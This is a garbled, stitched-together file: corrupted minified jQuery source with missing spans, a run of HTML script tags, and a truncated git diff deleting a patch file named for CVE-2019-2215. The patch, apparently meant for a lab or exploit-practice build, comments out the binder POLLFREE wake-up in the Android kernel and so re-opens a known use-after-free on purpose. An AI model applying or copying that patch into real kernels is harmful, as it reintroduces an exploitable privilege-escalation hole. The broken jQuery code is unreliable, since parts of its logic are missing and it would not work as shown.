e?de.inArray(e,i)>-1:i.length>0},empty:function(){return i&&(i=[]),this},disable:function(){return o=a=[],i=n="",this},disabled:function(){return!i},lock:function(){return o=a=[],n||t||(i=n=""),this},locked:function(){return!!o},fireWith:function(e,n){return o||(n=n||[],n=[e,n.slice?n.slice():n],a.push(n),t||c()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l},de.extend({Deferred:function(t){var n=[["notify","progress",de.Callbacks("memory"),de.Callbacks("memory"),2],["resolve","done",de.Callbacks("once memory"),de.Callbacks("once memory"),0,"resolved"],["reject","fail",de.Callbacks("once memory"),de.Callbacks("once memory"),1,"rejected"]],r="pending",o={state:function(){return r},always:function(){return i.done(arguments).fail(arguments),this},catch:function(e){return o.then(null,e)},pipe:function(){var e=arguments;return de.Deferred(function(t){de.each(n,function(n,r){var o=de.isFunction(e[r[4]])&&e[r[4]];i[r[1]](function(){var e=o&&o.apply(this,arguments);e&&de.isFunction(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,o?[e]:arguments)})}),e=null}).promise()},then:function(t,r,o){function i(t,n,r,o){return function(){var c=this,l=arguments,f=function(){var e,f;if(!(t=s&&(r!==u&&(c=void 0,l=[e]),n.rejectWith(c,l))}};t?p():(de.Deferred.getStackHook&&(p.stackTrace=de.Deferred.getStackHook()),e.setTimeout(p))}}var s=0;return de.Deferred(function(e){n[0][3].add(i(0,e,de.isFunction(o)?o:a,e.notifyWith)),n[1][3].add(i(0,e,de.isFunction(t)?t:a)),n[2][3].add(i(0,e,de.isFunction(r)?r:u))}).promise()},promise:function(e){return null!=e?de.extend(e,o):o}},i={};return de.each(n,function(e,t){var s=t[2],a=t[5];o[t[1]]=s.add,a&&s.add(function(){r=a},n[3-e][2].disable,n[0][2].lock),s.add(t[3].fire),i[t[0]]=function(){return i[t[0]+"With"](this===i?void 0:this,arguments),this},i[t[0]+"With"]=s.fireWith}),o.promise(i),t&&t.call(i,i),i},when:function(e){var t=arguments.length,n=t,r=Array(n),o=re.call(arguments),i=de.Deferred(),s=function(e){return function(n){r[e]=this,o[e]=arguments.length>1?re.call(arguments):n,--t||i.resolveWith(r,o)}};if(t<=1&&(c(e,i.done(s(n)).resolve,i.reject),"pending"===i.state()||de.isFunction(o[n]&&o[n].then)))return i.then();for(;n--;)c(o[n],s(n),i.reject);return i.promise()}});var De=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;de.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&De.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},de.readyException=function(t){e.setTimeout(function(){throw t})};var Oe=de.Deferred();de.fn.ready=function(e){return Oe.then(e).catch(function(e){de.readyException(e)}),this},de.extend({isReady:!1,readyWait:1,holdReady:function(e){e?de.readyWait++:de.ready(!0)},ready:function(e){(e===!0?--de.readyWait:de.isReady)||(de.isReady=!0,e!==!0&&--de.readyWait>0||Oe.resolveWith(te,[de]))}}),de.ready.then=Oe.then,"complete"===te.readyState||"loading"!==te.readyState&&!te.documentElement.doScroll?e.setTimeout(de.ready):(te.addEventListener("DOMContentLoaded",l),e.addEventListener("load",l));var Le=function(e,t,n,r,o,i,s){var a=0,u=e.length,c=null==n;if("object"===de.type(n)){o=!0;for(a in n)Le(e,t,a,n[a],!0,i,s)}else if(void 0!==r&&(o=!0,de.isFunction(r)||(s=!0),c&&(s?(t.call(e,r),t=null):(c=t,t=function(e,t,n){return c.call(de(e),n)})),t))for(;a1,null,!0)},removeData:function(e){return this.each(function(){Re.remove(this,e)})}}),de.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Fe.get(e,t),n&&(!r||de.isArray(n)?r=Fe.access(e,t,de.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=de.queue(e,t),r=n.length,o=n.shift(),i=de._queueHooks(e,t),s=function(){de.dequeue(e,t)};"inprogress"===o&&(o=n.shift(),r--),o&&("fx"===t&&n.unshift("inprogress"),delete i.stop,o.call(e,s,i)),!r&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Fe.get(e,n)||Fe.access(e,n,{empty:de.Callbacks("once memory").add(function(){Fe.remove(e,[t+"queue",n])})})}}),de.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length\x20\t\r\n\f]+)/i,Ve=/^$|\/(?:java|ecma)script/i,Ge={option:[1,""],thead:[1,"","
                  "],col:[2,"","
                  "],tr:[2,"","
                  "],td:[3,"","
                  "],_default:[0,"",""]};Ge.optgroup=Ge.option,Ge.tbody=Ge.tfoot=Ge.colgroup=Ge.caption=Ge.thead,Ge.th=Ge.td;var Ye=/<|&#?\w+;/;!function(){var e=te.createDocumentFragment(),t=e.appendChild(te.createElement("div")),n=te.createElement("input");n.setAttribute("type","radio"),n.setAttribute("checked","checked"),n.setAttribute("name","t"),t.appendChild(n),pe.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,t.innerHTML="",pe.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue}();var Qe=te.documentElement,Je=/^key/,Ke=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ze=/^([^.]*)(?:\.(.+)|)/;de.event={global:{},add:function(e,t,n,r,o){var i,s,a,u,c,l,f,p,h,d,g,m=Fe.get(e);if(m)for(n.handler&&(i=n,n=i.handler,o=i.selector),o&&de.find.matchesSelector(Qe,o),n.guid||(n.guid=de.guid++),(u=m.events)||(u=m.events={}),(s=m.handle)||(s=m.handle=function(t){return"undefined"!=typeof de&&de.event.triggered!==t.type?de.event.dispatch.apply(e,arguments):void 0}),t=(t||"").match(qe)||[""],c=t.length;c--;)a=Ze.exec(t[c])||[],h=g=a[1],d=(a[2]||"").split(".").sort(),h&&(f=de.event.special[h]||{},h=(o?f.delegateType:f.bindType)||h,f=de.event.special[h]||{},l=de.extend({type:h,origType:g,data:r,handler:n,guid:n.guid,selector:o,needsContext:o&&de.expr.match.needsContext.test(o),namespace:d.join(".")},i),(p=u[h])||(p=u[h]=[],p.delegateCount=0,f.setup&&f.setup.call(e,r,d,s)!==!1||e.addEventListener&&e.addEventListener(h,s)),f.add&&(f.add.call(e,l),l.handler.guid||(l.handler.guid=n.guid)),o?p.splice(p.delegateCount++,0,l):p.push(l),de.event.global[h]=!0)},remove:function(e,t,n,r,o){var i,s,a,u,c,l,f,p,h,d,g,m=Fe.hasData(e)&&Fe.get(e);if(m&&(u=m.events)){for(t=(t||"").match(qe)||[""],c=t.length;c--;)if(a=Ze.exec(t[c])||[],h=g=a[1],d=(a[2]||"").split(".").sort(),h){for(f=de.event.special[h]||{},h=(r?f.delegateType:f.bindType)||h,p=u[h]||[],a=a[2]&&new RegExp("(^|\\.)"+d.join("\\.(?:.*\\.|)")+"(\\.|$)"),s=i=p.length;i--;)l=p[i],!o&&g!==l.origType||n&&n.guid!==l.guid||a&&!a.test(l.namespace)||r&&r!==l.selector&&("**"!==r||!l.selector)||(p.splice(i,1),l.selector&&p.delegateCount--,f.remove&&f.remove.call(e,l));s&&!p.length&&(f.teardown&&f.teardown.call(e,d,m.handle)!==!1||de.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)de.event.remove(e,h+t[c],n,r,!0);de.isEmptyObject(u)&&Fe.remove(e,"handle events")}},dispatch:function(e){var t,n,r,o,i,s,a=de.event.fix(e),u=new Array(arguments.length),c=(Fe.get(this,"events")||{})[a.type]||[],l=de.event.special[a.type]||{};for(u[0]=a,t=1;t=1))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&("click"!==e.type||c.disabled!==!0)){for(i=[],s={},n=0;n-1:de.find(o,this,null,[c]).length),s[o]&&i.push(r);i.length&&a.push({elem:c,handlers:i})}return c=this,u\x20\t\r\n\f]*)[^>]*)\/>/gi,tt=/\s*$/g;de.extend({htmlPrefilter:function(e){return e.replace(et,"<$1>")},clone:function(e,t,n){var r,o,i,s,a=e.cloneNode(!0),u=de.contains(e.ownerDocument,e);if(!(pe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||de.isXMLDoc(e)))for(s=v(a),i=v(e),r=0,o=i.length;r0&&y(s,!u&&v(e,"script")),a},cleanData:function(e){for(var t,n,r,o=de.event.special,i=0;void 0!==(n=e[i]);i++)if(He(n)){if(t=n[Fe.expando]){if(t.events)for(r in t.events)o[r]?de.event.remove(n,r):de.removeEvent(n,r,t.handle);n[Fe.expando]=void 0}n[Re.expando]&&(n[Re.expando]=void 0)}}}),de.fn.extend({detach:function(e){return q(this,e,!0)},remove:function(e){return q(this,e)},text:function(e){return Le(this,function(e){return void 0===e?de.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=j(this,e);t.appendChild(e)}})},prepend:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=j(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(de.cleanData(v(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return de.clone(this,e,t)})},html:function(e){return Le(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!tt.test(e)&&!Ge[(Xe.exec(e)||["",""])[1].toLowerCase()]){e=de.htmlPrefilter(e);try{for(;n1)}}),de.Tween=I,I.prototype={constructor:I,init:function(e,t,n,r,o,i){this.elem=e,this.prop=n,this.easing=o||de.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=i||(de.cssNumber[n]?"":"px")},cur:function(){var e=I.propHooks[this.prop];return e&&e.get?e.get(this):I.propHooks._default.get(this)},run:function(e){var t,n=I.propHooks[this.prop];return this.options.duration?this.pos=t=de.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):I.propHooks._default.set(this),this}},I.prototype.init.prototype=I.prototype,I.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=de.css(e.elem,e.prop,""),t&&"auto"!==t?t:0)},set:function(e){de.fx.step[e.prop]?de.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[de.cssProps[e.prop]]&&!de.cssHooks[e.prop]?e.elem[e.prop]=e.now:de.style(e.elem,e.prop,e.now+e.unit)}}},I.propHooks.scrollTop=I.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},de.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},de.fx=I.prototype.init,de.fx.step={};var ht,dt,gt=/^(?:toggle|show|hide)$/,mt=/queueHooks$/;de.Animation=de.extend(U,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,$e.exec(t),n),n}]},tweener:function(e,t){de.isFunction(e)?(t=e,e=["*"]):e=e.match(qe);for(var n,r=0,o=e.length;r1)},removeAttr:function(e){return this.each(function(){de.removeAttr(this,e)})}}),de.extend({attr:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return"undefined"==typeof e.getAttribute?de.prop(e,t,n):(1===i&&de.isXMLDoc(e)||(o=de.attrHooks[t.toLowerCase()]||(de.expr.match.bool.test(t)?vt:void 0)),void 0!==n?null===n?void de.removeAttr(e,t):o&&"set"in o&&void 0!==(r=o.set(e,n,t))?r:(e.setAttribute(t,n+""),n):o&&"get"in o&&null!==(r=o.get(e,t))?r:(r=de.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!pe.radioValue&&"radio"===t&&de.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,o=t&&t.match(qe);if(o&&1===e.nodeType)for(;n=o[r++];)e.removeAttribute(n)}}),vt={set:function(e,t,n){return t===!1?de.removeAttr(e,n):e.setAttribute(n,n),n}},de.each(de.expr.match.bool.source.match(/\w+/g),function(e,t){var n=yt[t]||de.find.attr;yt[t]=function(e,t,r){var o,i,s=t.toLowerCase();return r||(i=yt[s],yt[s]=o,o=null!=n(e,t,r)?s:null,yt[s]=i),o}});var xt=/^(?:input|select|textarea|button)$/i,bt=/^(?:a|area)$/i;de.fn.extend({prop:function(e,t){return Le(this,de.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[de.propFix[e]||e]})}}),de.extend({prop:function(e,t,n){var r,o,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&de.isXMLDoc(e)||(t=de.propFix[t]||t,o=de.propHooks[t]),void 0!==n?o&&"set"in o&&void 0!==(r=o.set(e,n,t))?r:e[t]=n:o&&"get"in o&&null!==(r=o.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=de.find.attr(e,"tabindex");return t?parseInt(t,10):xt.test(e.nodeName)||bt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),pe.optSelected||(de.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),de.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){de.propFix[this.toLowerCase()]=this}),de.fn.extend({addClass:function(e){var t,n,r,o,i,s,a,u=0;if(de.isFunction(e))return this.each(function(t){de(this).addClass(e.call(this,t,X(this)))});if("string"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&" "+z(o)+" "){for(s=0;i=t[s++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=z(r),o!==a&&n.setAttribute("class",a)}return this},removeClass:function(e){var t,n,r,o,i,s,a,u=0;if(de.isFunction(e))return this.each(function(t){de(this).removeClass(e.call(this,t,X(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof e&&e)for(t=e.match(qe)||[];n=this[u++];)if(o=X(n),r=1===n.nodeType&&" "+z(o)+" "){for(s=0;i=t[s++];)for(;r.indexOf(" "+i+" ")>-1;)r=r.replace(" "+i+" "," ");a=z(r),o!==a&&n.setAttribute("class",a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):de.isFunction(e)?this.each(function(n){de(this).toggleClass(e.call(this,n,X(this),t),t)}):this.each(function(){var t,r,o,i;if("string"===n)for(r=0,o=de(this),i=e.match(qe)||[];t=i[r++];)o.hasClass(t)?o.removeClass(t):o.addClass(t);else void 0!==e&&"boolean"!==n||(t=X(this),t&&Fe.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||e===!1?"":Fe.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+z(X(n))+" ").indexOf(t)>-1)return!0;return!1}});var wt=/\r/g;de.fn.extend({val:function(e){var t,n,r,o=this[0];{if(arguments.length)return r=de.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=r?e.call(this,n,de(this).val()):e,null==o?o="":"number"==typeof o?o+="":de.isArray(o)&&(o=de.map(o,function(e){return null==e?"":e+""})),t=de.valHooks[this.type]||de.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,o,"value")||(this.value=o))});if(o)return t=de.valHooks[o.type]||de.valHooks[o.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(o,"value"))?n:(n=o.value,"string"==typeof n?n.replace(wt,""):null==n?"":n)}}}),de.extend({valHooks:{option:{get:function(e){var t=de.find.attr(e,"value");return null!=t?t:z(de.text(e))}},select:{get:function(e){var t,n,r,o=e.options,i=e.selectedIndex,s="select-one"===e.type,a=s?null:[],u=s?i+1:o.length;for(r=i<0?u:s?i:0;r-1)&&(n=!0);return n||(e.selectedIndex=-1),i}}}}),de.each(["radio","checkbox"],function(){de.valHooks[this]={set:function(e,t){if(de.isArray(t))return e.checked=de.inArray(de(e).val(),t)>-1}},pe.checkOn||(de.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Tt=/^(?:focusinfocus|focusoutblur)$/;de.extend(de.event,{trigger:function(t,n,r,o){var i,s,a,u,c,l,f,p=[r||te],h=ce.call(t,"type")?t.type:t,d=ce.call(t,"namespace")?t.namespace.split("."):[];if(s=a=r=r||te,3!==r.nodeType&&8!==r.nodeType&&!Tt.test(h+de.event.triggered)&&(h.indexOf(".")>-1&&(d=h.split("."),h=d.shift(),d.sort()),c=h.indexOf(":")<0&&"on"+h,t=t[de.expando]?t:new de.Event(h,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=d.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+d.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:de.makeArray(n,[t]),f=de.event.special[h]||{},o||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!o&&!f.noBubble&&!de.isWindow(r)){for(u=f.delegateType||h,Tt.test(u+h)||(s=s.parentNode);s;s=s.parentNode)p.push(s),a=s;a===(r.ownerDocument||te)&&p.push(a.defaultView||a.parentWindow||e)}for(i=0;(s=p[i++])&&!t.isPropagationStopped();)t.type=i>1?u:f.bindType||h,l=(Fe.get(s,"events")||{})[t.type]&&Fe.get(s,"handle"),l&&l.apply(s,n),l=c&&s[c],l&&l.apply&&He(s)&&(t.result=l.apply(s,n),t.result===!1&&t.preventDefault());return t.type=h,o||t.isDefaultPrevented()||f._default&&f._default.apply(p.pop(),n)!==!1||!He(r)||c&&de.isFunction(r[h])&&!de.isWindow(r)&&(a=r[c],a&&(r[c]=null),de.event.triggered=h,r[h](),de.event.triggered=void 0,a&&(r[c]=a)),t.result}},simulate:function(e,t,n){var r=de.extend(new de.Event,n,{type:e,isSimulated:!0});de.event.trigger(r,null,t)}}),de.fn.extend({trigger:function(e,t){return this.each(function(){de.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return de.event.trigger(e,t,n,!0)}}),de.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){de.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),de.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),pe.focusin="onfocusin"in e,pe.focusin||de.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){de.event.simulate(t,e.target,de.event.fix(e))};de.event.special[t]={setup:function(){var r=this.ownerDocument||this,o=Fe.access(r,t);o||r.addEventListener(e,n,!0),Fe.access(r,t,(o||0)+1)},teardown:function(){var r=this.ownerDocument||this,o=Fe.access(r,t)-1;o?Fe.access(r,t,o):(r.removeEventListener(e,n,!0),Fe.remove(r,t))}}});var Ct=e.location,jt=de.now(),kt=/\?/;de.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||de.error("Invalid XML: "+t),n};var Et=/\[\]$/,St=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;de.param=function(e,t){var n,r=[],o=function(e,t){var n=de.isFunction(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(de.isArray(e)||e.jquery&&!de.isPlainObject(e))de.each(e,function(){o(this.name,this.value)});else for(n in e)V(n,e[n],t,o);return r.join("&")},de.fn.extend({serialize:function(){return de.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=de.prop(this,"elements");return e?de.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!de(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!ze.test(e))}).map(function(e,t){var n=de(this).val();return null==n?null:de.isArray(n)?de.map(n,function(e){return{name:t.name,value:e.replace(St,"\r\n")}}):{name:t.name,value:n.replace(St,"\r\n")}}).get()}});var qt=/%20/g,Dt=/#.*$/,Ot=/([?&])_=[^&]*/,Lt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Ht=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ft=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Pt={},Mt="*/".concat("*"),$t=te.createElement("a");$t.href=Ct.href,de.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Ht.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Mt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":de.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Q(Q(e,de.ajaxSettings),t):Q(de.ajaxSettings,e)},ajaxPrefilter:G(It),ajaxTransport:G(Pt),ajax:function(t,n){function r(t,n,r,a){var c,p,h,b,w,T=n;l||(l=!0,u&&e.clearTimeout(u),o=void 0,s=a||"",C.readyState=t>0?4:0,c=t>=200&&t<300||304===t,r&&(b=J(d,C,r)),b=K(d,b,C,c),c?(d.ifModified&&(w=C.getResponseHeader("Last-Modified"),w&&(de.lastModified[i]=w),w=C.getResponseHeader("etag"),w&&(de.etag[i]=w)),204===t||"HEAD"===d.type?T="nocontent":304===t?T="notmodified":(T=b.state,p=b.data,h=b.error,c=!h)):(h=T,!t&&T||(T="error",t<0&&(t=0))),C.status=t,C.statusText=(n||T)+"",c?v.resolveWith(g,[p,T,C]):v.rejectWith(g,[C,T,h]),C.statusCode(x),x=void 0,f&&m.trigger(c?"ajaxSuccess":"ajaxError",[C,d,c?p:h]),y.fireWith(g,[C,T]),f&&(m.trigger("ajaxComplete",[C,d]),--de.active||de.event.trigger("ajaxStop")))}"object"==typeof t&&(n=t,t=void 0),n=n||{};var o,i,s,a,u,c,l,f,p,h,d=de.ajaxSetup({},n),g=d.context||d,m=d.context&&(g.nodeType||g.jquery)?de(g):de.event,v=de.Deferred(),y=de.Callbacks("once memory"),x=d.statusCode||{},b={},w={},T="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(l){if(!a)for(a={};t=Lt.exec(s);)a[t[1].toLowerCase()]=t[2];t=a[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return l?s:null},setRequestHeader:function(e,t){return null==l&&(e=w[e.toLowerCase()]=w[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==l&&(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(l)C.always(e[C.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||T;return o&&o.abort(t),r(0,t),this}};if(v.promise(C),d.url=((t||d.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=(d.dataType||"*").toLowerCase().match(qe)||[""],null==d.crossDomain){c=te.createElement("a");try{c.href=d.url,c.href=c.href,d.crossDomain=$t.protocol+"//"+$t.host!=c.protocol+"//"+c.host}catch(e){d.crossDomain=!0}}if(d.data&&d.processData&&"string"!=typeof d.data&&(d.data=de.param(d.data,d.traditional)),Y(It,d,n,C),l)return C;f=de.event&&d.global,f&&0===de.active++&&de.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Ft.test(d.type),i=d.url.replace(Dt,""),d.hasContent?d.data&&d.processData&&0===(d.contentType||"").indexOf("application/x-www-form-urlencoded")&&(d.data=d.data.replace(qt,"+")):(h=d.url.slice(i.length),d.data&&(i+=(kt.test(i)?"&":"?")+d.data,delete d.data),d.cache===!1&&(i=i.replace(Ot,"$1"),h=(kt.test(i)?"&":"?")+"_="+jt++ +h),d.url=i+h),d.ifModified&&(de.lastModified[i]&&C.setRequestHeader("If-Modified-Since",de.lastModified[i]),de.etag[i]&&C.setRequestHeader("If-None-Match",de.etag[i])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",d.contentType),C.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Mt+"; q=0.01":""):d.accepts["*"]);for(p in d.headers)C.setRequestHeader(p,d.headers[p]);if(d.beforeSend&&(d.beforeSend.call(g,C,d)===!1||l))return C.abort();if(T="abort",y.add(d.complete),C.done(d.success),C.fail(d.error),o=Y(Pt,d,n,C)){if(C.readyState=1,f&&m.trigger("ajaxSend",[C,d]),l)return C;d.async&&d.timeout>0&&(u=e.setTimeout(function(){C.abort("timeout")},d.timeout));try{l=!1,o.send(b,r)}catch(e){if(l)throw e;r(-1,e)}}else r(-1,"No Transport");return C},getJSON:function(e,t,n){return de.get(e,t,n,"json")},getScript:function(e,t){return de.get(e,void 0,t,"script")}}),de.each(["get","post"],function(e,t){de[t]=function(e,n,r,o){return de.isFunction(n)&&(o=o||r,r=n,n=void 0),de.ajax(de.extend({url:e,type:t,dataType:o,data:n,success:r},de.isPlainObject(e)&&e))}}),de._evalUrl=function(e){return de.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,throws:!0})},de.fn.extend({wrapAll:function(e){var t;return this[0]&&(de.isFunction(e)&&(e=e.call(this[0])),t=de(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstElementChild;)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return de.isFunction(e)?this.each(function(t){de(this).wrapInner(e.call(this,t))}):this.each(function(){var t=de(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=de.isFunction(e);return this.each(function(n){de(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){de(this).replaceWith(this.childNodes)}),this}}),de.expr.pseudos.hidden=function(e){return!de.expr.pseudos.visible(e)},de.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},de.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Wt={0:200,1223:204},Bt=de.ajaxSettings.xhr();pe.cors=!!Bt&&"withCredentials"in Bt,pe.ajax=Bt=!!Bt,de.ajaxTransport(function(t){var n,r;if(pe.cors||Bt&&!t.crossDomain)return{send:function(o,i){var s,a=t.xhr();if(a.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(s in t.xhrFields)a[s]=t.xhrFields[s];t.mimeType&&a.overrideMimeType&&a.overrideMimeType(t.mimeType),t.crossDomain||o["X-Requested-With"]||(o["X-Requested-With"]="XMLHttpRequest");for(s in o)a.setRequestHeader(s,o[s]);n=function(e){return function(){n&&(n=r=a.onload=a.onerror=a.onabort=a.onreadystatechange=null,"abort"===e?a.abort():"error"===e?"number"!=typeof a.status?i(0,"error"):i(a.status,a.statusText):i(Wt[a.status]||a.status,a.statusText,"text"!==(a.responseType||"text")||"string"!=typeof a.responseText?{binary:a.response}:{text:a.responseText},a.getAllResponseHeaders()))}},a.onload=n(),r=a.onerror=n("error"),void 0!==a.onabort?a.onabort=r:a.onreadystatechange=function(){4===a.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{a.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),de.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),de.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return de.globalEval(e),e}}}),de.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),de.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(r,o){t=de(" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/patch/cve-2019-2215.patch b/patch/cve-2019-2215.patch deleted file mode 100644 index 54196a4..0000000 --- a/patch/cve-2019-2215.patch +++ /dev/null @@ -1,58 +0,0 @@ -diff --git a/drivers/android/binder.c b/drivers/android/binder.c -index f6ddec245187..55e2748a13e4 100644 ---- a/drivers/android/binder.c -+++ b/drivers/android/binder.c -@@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc, - * waitqueue_active() is safe to use here because we're holding - * the inner lock. - */ -+ /* - if ((thread->looper & BINDER_LOOPER_STATE_POLL) && - waitqueue_active(&thread->wait)) { - wake_up_poll(&thread->wait, POLLHUP | POLLFREE); - } -+ */ - - binder_inner_proc_unlock(thread->proc); - -@@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc, - * descriptor being closed); 